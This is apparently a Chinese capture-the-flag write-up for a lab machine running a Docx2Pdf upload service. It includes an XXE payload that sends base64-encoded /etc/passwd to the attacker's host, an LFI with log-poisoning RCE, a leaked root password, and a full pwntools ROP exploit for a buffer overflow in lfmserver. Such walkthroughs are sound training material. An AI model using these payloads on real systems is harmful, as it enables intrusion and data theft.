基本信息

端口扫描

80

一个Patents管理系统,存在一个上传接口,上传docx转换成pdf:

目录扫描

1
gobuster dir -u http://10.10.10.173/ -w /usr/share/wordlists/dirb/common.txt -x php -b 403,404

发现一个release目录,进一步扫描:

发现更新log文件:

http://10.10.10.173/release/UpdateDetails

里面提到Docx2Pdf的相关漏洞

docx xxe

docx解压后里面是xml文件,可以尝试进行XXE:

添加一个xml进去,重新打包成docx:

监听端口,上传生成的docx,收到请求,说明存在XXE:

接下来需要做的就是通过XXE读取文件搜集信息

XXE LFI

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat read.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % read "<!ENTITY exfil SYSTEM 'http://10.10.14.106:7777/exfil?%file;'>">

cat customXml/item1.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://10.10.14.106:7777/read.dtd">
%xxe;
%read;
]>
<foo>&exfil;</foo>

上传,收到请求,base64解码后是读取的文件内容:

/etc/passwd

得到一个用户名 : gbyolo

/etc/apache2/sites-enabled/000-default.conf

前面扫描结果中有config.php,但直接去读/var/www/html/config.php是失败的,应该不是在默认的根目录,所以先读配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<VirtualHost *:80>
DocumentRoot /var/www/html/docx2pdf

<Directory /var/www/html/docx2pdf/>
Options -Indexes +FollowSymLinks +MultiViews
AllowOverride All
Order deny,allow
Allow from all
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

/var/www/html/docx2pdf/config.php

1
2
3
4
5
6
7
8
<?php
# needed by convert.php
$uploadir = 'letsgo/';

# needed by getPatent.php
# gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it's vulnerable
define('PATENTS_DIR', '/patents/');
?>

发现提示信息,getPatent_alphav1.0.php是存在漏洞的, 但无法直接读取这个文件的内容。

LFI to RCE

LFI

直接去访问getPatent_alphav1.0.php,提示通过ID读取内容:

直接尝试目录遍历读取失败:

但使用两次../嵌套的话,成功,说明后端处理应该是简单的移除掉一次../

所以这里也存在一个LFI

log file

同样,我们也可以读取log文件var/log/apache2/access.log ,注意会直接输出客户端信息例如UA,:

如果将UA修改为php代码,那么响应的log中就会直接显示执行后的结果(如果前面扫描产生的日志太多,建议reset一下机器):

reverse shell

直接修改代码,反弹shell, 注意编码:

这个只是www-root用户,上传个pspy64收集信息:

1
2
3
4
5
6
curl http://10.10.14.106:7777/pspy64 -o pspy64

2020/05/18 08:11:01 CMD: UID=0 PID=853 | /usr/sbin/CRON -f
2020/05/18 08:11:01 CMD: UID=0 PID=855 | /bin/sh -c env PASSWORD="!gby0l0r0ck\$\$!" /opt/checker_client/run_file.sh
2020/05/18 08:11:01 CMD: UID=0 PID=856 |
2020/05/18 08:11:01 CMD: UID=0 PID=857 | python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD /var/www/html/docx2pdf/convert.php

注意到env中直接有一个密码

1
!gby0l0r0ck$$!

使用这个密码可以su切到root,但这个root并不是最终目标, 现在只是在docker里:

user flag

使用上面得到的root,可以在用户目录得到user.txt:

checker_client

前面也看到是cron运行的/opt/checker_client下的相关文件,我们检查下这些文件:

run_file.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cat run_file.sh
#!/bin/bash

echo $(date) > /opt/checker_runned

FOLDER=/var/www/html/docx2pdf
FILE=/var/www/html/docx2pdf/convert.php

#export PASSWORD="!gby0l0r0ck\$\$!"

NEWFILE=$(python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD $FILE)

#echo "Res: $NEWFILE"
#exit
if [ -z $NEWFILE ]; then
echo "File not corrupted."
exit
fi

if [ -f $NEWFILE ]; then
echo "File corrupted. Copying new file..."
cp $NEWFILE $FILE
if [ $? -ne 0 ]; then
echo "Couldn't restore file"
else
echo "File restored successfully"
rm -f $NEWFILE
fi
else
echo "File not corrupted. Not doing anything"
fi

这个脚本检查/var/www/html/docx2pdf/convert.php的完整性,如果被修改,会进行还原。

checker.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
cat checker.py
#!/usr/bin/env python
import sys
import os
from utils import md5,recvline
import socket

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"

if len(sys.argv) != 5:
print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
exit(-1)

HOST = sys.argv[1]
var = HOST.split(":")

if len(var) != 2:
print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
exit(-1)

try:
PORT = int(var[1])
except ValueError:
print "Port number must be integer"
exit(-1)

HOST = var[0]

#print "Connecting to " + HOST + ":" + str(PORT)

USER = sys.argv[2]

try:
PASS = os.environ[sys.argv[3]]
except KeyError:
print "Couldn't find such password"
exit(-1)

FILE = sys.argv[4]

# At this point PASS is well-defined
base = os.path.basename(FILE)

try:
md5sum = md5(FILE)
except IOError:
print "File not found locally"
exit(-1)

REALREQ = INPUTREQ.format(base, USER, PASS, md5sum)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.sendall(REALREQ)
resp = s.recv(4096)
s.close()

#print resp

if "LFM 200 OK" in resp:
#print "File OK, no need to download"
exit(0)

if "404" in resp:
print "File not found on server"
exit(-1)

#print "File corrupted, need to download it"

REQ = "GET /{} LFM\r\n\r\n".format(base)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(REQ)
recvline(s)
recvline(s)
recvline(s)
resp = s.recv(8192)

#if resp[-1] == '\n':
# resp = resp[:-1]
#
#if resp[-1] == '\r':
# resp = resp[:-1]

s.close()

with open("{}.new".format(base), "wb") as f:
f.write(resp)

print "{}.new".format(base)

其中的INPUTREQ类似HTTP请求格式,它计算convert.php的md5 hash,然后构造请求数据包,发送到10.100.0.1:8888,获取响应。200或者404响应脚本退出。如果发现文件损坏,则会GET请求下载新文件。

/usr/src/lfm

存在一个lfm目录,应该是和前面的lfmserver相关,是一个git repo:

可以把整个目录下载下来分析

1
2
3
4
tar cvf /var/www/html/docx2pdf/src.tar lfm
wget http://10.10.10.173/src.tar
tar xvf src.tar
cd lfm

lfmserver

根据git log,回退到删除文件之前的版本,得到lfmserver的二进制文件,其他版本还能够得到源码:

1
git reset --hard a900ccf7ae75b95db5f2d134d80e359a795e0cc6

逆向分析

整个过程可以结合git得到的源码

IDA直接F5出错,换Ghidra,在Symbol Tree中找到entry():

FUN_004055c2

这个函数是libc_start_main()的第一个参数,即main()函数,点进去右键 edit the signature.

主要功能大概是检查参数数量,然后调用FUN_00404978检查参数,这里为了方便修改为check_args()

Defined strings里也能发现之前在bash里看到的用户名密码:

FUN_00403ad9

Ctrl + Shift + F 查看密码的 references

可以看到有两次被作为函数参数使用,点击能够追踪到FUN_00403ad9函数,这个函数检查用户名和密码,检查通过会调用FUN_00402db9():

FUN_00402db9

这个函数三个参数,第一个参数是请求路径,第二个是大小为128的缓冲区,最后一个参数是请求路径的长度:

这个函数在路径中循环查找%字符,找到后会使用strtoul()将字符转换成数字,转换后的字符串保存到buf,很明显这是URL解码,server会将URL编码的字符进行解码。

同样很明显,如果超出缓冲区长度,没有进行检查来停止转换,这意味着这里存在overflow,可能地利用点。

回到之前的FUN_00403ad9函数,注意这里会检查文件是否存在,文件不存在会直接返回,那么就不会调用溢出的指针,我们可以通过请求一个已知文件,例如convert.php,并在末尾附加一个空字节,这样字符串在空字节处终止,也能够通过文件检查。

Exploit Development

常规的debug,leak addr,计算libc base,rop构造

注意点

  • url编码
  • sock_fd = 6
  • dup2将stdin,stdout,stderr复制到sock fd

详情查看参考资料,视频也很详细

我用的是这个里面的exp

root shell

exp打到的shell很容易断,直接反弹shell后续操作:

这里因为python版本问题format输出不正常

但这个root shell没有root.txt:

lsblk & mount

lsblk发现root是/dev/sdb,另外还有个/dev/sda:

root flag

sda2是根目录,我们可以挂载sda2,在mount后的目录中存在另一个root目录,得到root.txt:

使用的exp

注意libc版本,用的这个:

https://launchpad.net/ubuntu/cosmic/amd64/libc6/2.28-0ubuntu1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3

import urllib.parse
from pwn import *

if len(sys.argv) != 2 or sys.argv[1] not in ['local', 'remote']:
print("Usage: {sys.argv[0]} [target]\n target is local or remote\n")
sys.exit(1)
target = sys.argv[1]

### Context
lfmserver = ELF('./lfmserver')
if target == 'local':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ip = '127.0.0.1'
port = 5000
one_gadget_offset = 0xc84da
else:
#libc = ELF('/home/miao/Desktop/libc-database/db/libc6_2.28-0ubuntu1_amd64.so', checksec=False)
libc = ELF("./libc-2.28.so")
ip = '10.10.10.173'
port = 8888
one_gadget_offset = 0x501e3
sock_fd = 6

### Gadgets and payload template
pop_rdi = p64(0x0000000000405c4b)
pop_rsi_r15 = p64(0x0000000000405c49)
payload = "CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%xx" + "a" * 125 + "{} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n"

### Stage 1: libc leak
rop = pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(lfmserver.got['socket']) + p64(0) + p64(lfmserver.plt['write'])

p = remote(ip, port)
p.sendline(payload.format(urllib.parse.quote(rop)))
data = p.recvall()
socket_addr = u64(data.split(b'\n')[1][:8].ljust(8, b"\x00"))
log.info("Found socket address: 0x{socket_addr:016x}")
libc_base_addr = socket_addr - libc.symbols['socket']
log.info("Calculated libc base address: 0x{libc_base_addr:016x}")
one_gadget_addr = libc_base_addr + one_gadget_offset
log.info("Calculated one gadget address: 0x{one_gadget_addr:016x}")
print()

### Stage 2: Shell
p = remote(ip, port)
rop = pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(0) + p64(0) + p64(lfmserver.plt['dup2'])
rop += pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(1) + p64(0) + p64(lfmserver.plt['dup2'])
rop += pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(2) + p64(0) + p64(lfmserver.plt['dup2'])
rop += p64(one_gadget_addr)

log.info("Sending stage two rop")
p.sendline(payload.format(urllib.parse.quote(rop)))

p.recv(22)
p.interactive()

参考资料